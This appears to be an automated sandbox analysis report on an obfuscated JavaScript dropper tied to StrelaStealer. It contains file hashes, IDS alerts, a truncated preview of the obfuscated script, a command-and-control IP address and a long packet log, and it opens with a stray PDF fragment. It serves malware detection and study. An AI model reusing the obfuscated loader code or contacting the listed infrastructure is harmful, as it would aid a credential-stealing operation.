/ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18261), with CRLF line terminators
Entropy (8bit):	4.913562203249317
TrID:
File name:	16433207582849010802.js
File size:	21'828 bytes
MD5:	983505ddfb23346cf685b5125a123d7d
SHA1:	9a3a1d2debad308278be536889b15fa61fdbaaf6
SHA256:	15b3313f60aa4dfd23b3db0ea983b8686a4df9d4486b0d52ca453c15d04bced5
SHA512:	c7c74a25a21dff5660081a36f4fb050a3b667b41e4ad3e0a5bee12d4dfcf1c8064254a6fe14fca7fb1b0ae4471c77bfaeeb4a291dcd0cc40e283b819e28efa10
SSDEEP:	384:deMMnEbJi5SPCs02QRP6m3Sab6oVTbA0s5sJZ44LcmomQgYVbs1t7p5ea4z1a6eA:cnDqab6oVTbA0s5sJZ44LcmomQgYVbsQ
TLSH:	23A271449624CB4AA9F985E1478E15E4B2F410CC4EF760EC64AE33E6CB3EB69F5D2035
File Content Preview:	function pvtfo(){vuhrdsud=[1031,3079,5127,4103,2055,3072];var wtlfnfmn=this[exirfr+cbawehx+zhhtjf+rcmfcha+bgpnamxha+lhonqwq+spjdpmv+vujipwfdo](this[ljuouto+xttuarqz+cnwqh+zhhtjf+hykeurb+exirfr+vujipwfdo][vwbfdu+zhhtjf+bgpnamxha+cbawehx+vujipwfdo+bgpnamxha

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:04:53.097911+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T02:04:53.097911+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T02:04:55.455063+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:04:52.144984007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:52.150012970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:52.150130033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:52.173649073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:52.178778887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.097764015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.097836018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.097873926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.097907066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.097910881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.097959042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.097987890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.098010063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.098061085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.098062992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.098093987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.098129034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.098134995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.098165035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.098207951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.152924061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.152981997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.153019905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.153094053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.222693920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.222728014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.222845078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.223001003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.223035097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.223071098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.223103046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.223103046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.223149061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.223445892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.223479033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.223512888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.223526955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.223769903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.223814964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.223822117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.223856926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.223891020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.223902941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.224364042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.224446058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.224452019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.224481106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.224529982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.224533081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.224562883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.224602938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.225153923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.225205898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.225239038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.225265980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.249979019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.250040054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.250128984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.250233889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.250271082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.250281096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.277939081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.277956963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.278096914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.313925028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.313970089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.314053059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.348069906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.348088980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.348100901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.348145962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.348187923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.348206043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.348220110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.348231077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.348258018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.348326921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.348661900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.348696947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.348706007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.348709106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.348820925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.348835945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.348848104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.348859072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.348871946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.348880053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.348921061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.349565983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.349618912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.349632025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.349664927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.349792004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.349803925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.349817991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.349829912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.349834919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.349847078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.350570917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.350591898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.350603104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.350630045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.350655079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.350816011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.350826979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.350838900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.350851059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.350862026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.350888014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.351541996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.351567030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.351578951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.351608992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.351687908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.351699114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.351710081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.351721048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.351727962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.351752043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.352583885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.352597952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.352610111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.352626085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.352658987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.352722883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.352734089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.352745056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.352756977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.352787971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.352812052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.353470087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.404825926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.404845953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.404865980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.404876947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.404891014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.404915094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.404968977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.439007044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.439057112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.439169884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.473650932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.473670959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.473690033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.473702908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.473710060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.473721981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.473814964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.473843098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.473968983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.473980904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.473987103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.474025965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.474095106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.474143028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.474153042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.474164963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.474209070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.474293947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.474306107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.474315882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.474351883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.474387884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.474397898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.474436045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.474633932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.474684954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.474698067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.474709034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.474747896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.474826097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.474870920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.474883080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.474912882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.474931002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.474972963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.475167036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.475178957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.475189924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.475231886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.475295067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.475306034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.475325108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.475334883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.475337029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.475382090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.475501060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.475512981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.475527048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.475537062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.475548983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.475586891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.475938082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.475976944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.475980997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.475994110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.476033926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.476180077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.476191998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.476202965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.476214886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.476219893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.476253033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.476295948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.476309061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.476315975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.476324081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.476335049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.476357937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.476881027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.476918936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.476929903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.476932049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.476974010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.477137089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.477149010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.477160931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.477171898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.477189064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.477195978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.477230072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.477324963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.477336884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.477348089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.477360010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.477369070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.477396011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.477852106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.477902889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.477904081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.477915049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.477962017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.478002071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.478013992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.478027105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.478038073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.478056908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.478070974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.478177071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.478199005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.478238106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.478801012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.495543003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.495558977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.495570898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.495584011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.495649099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.495668888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.495676041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.495712996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.495724916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.495738029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.495755911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.495779037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.529742956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.529763937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.529776096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.529841900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.529853106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.529864073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.529876947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.529887915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.529930115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.564460993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.564479113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.564501047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.564513922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.564526081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.564539909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.564587116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.564614058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.564632893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.564645052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.564678907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.564678907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.564697981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.564706087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.564748049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.564762115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.564785004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.564852953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.564865112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.564913034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.565016031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.565027952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.565042973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.565063953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.565092087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.565105915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.565118074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.565129042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.565140963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.565167904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.565196991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.598707914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.598726988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.598819971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.599123955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599134922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599145889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599173069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.599189043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599201918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599239111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.599261999 CET	80	49704	193.143.1.205	192.168.2.5
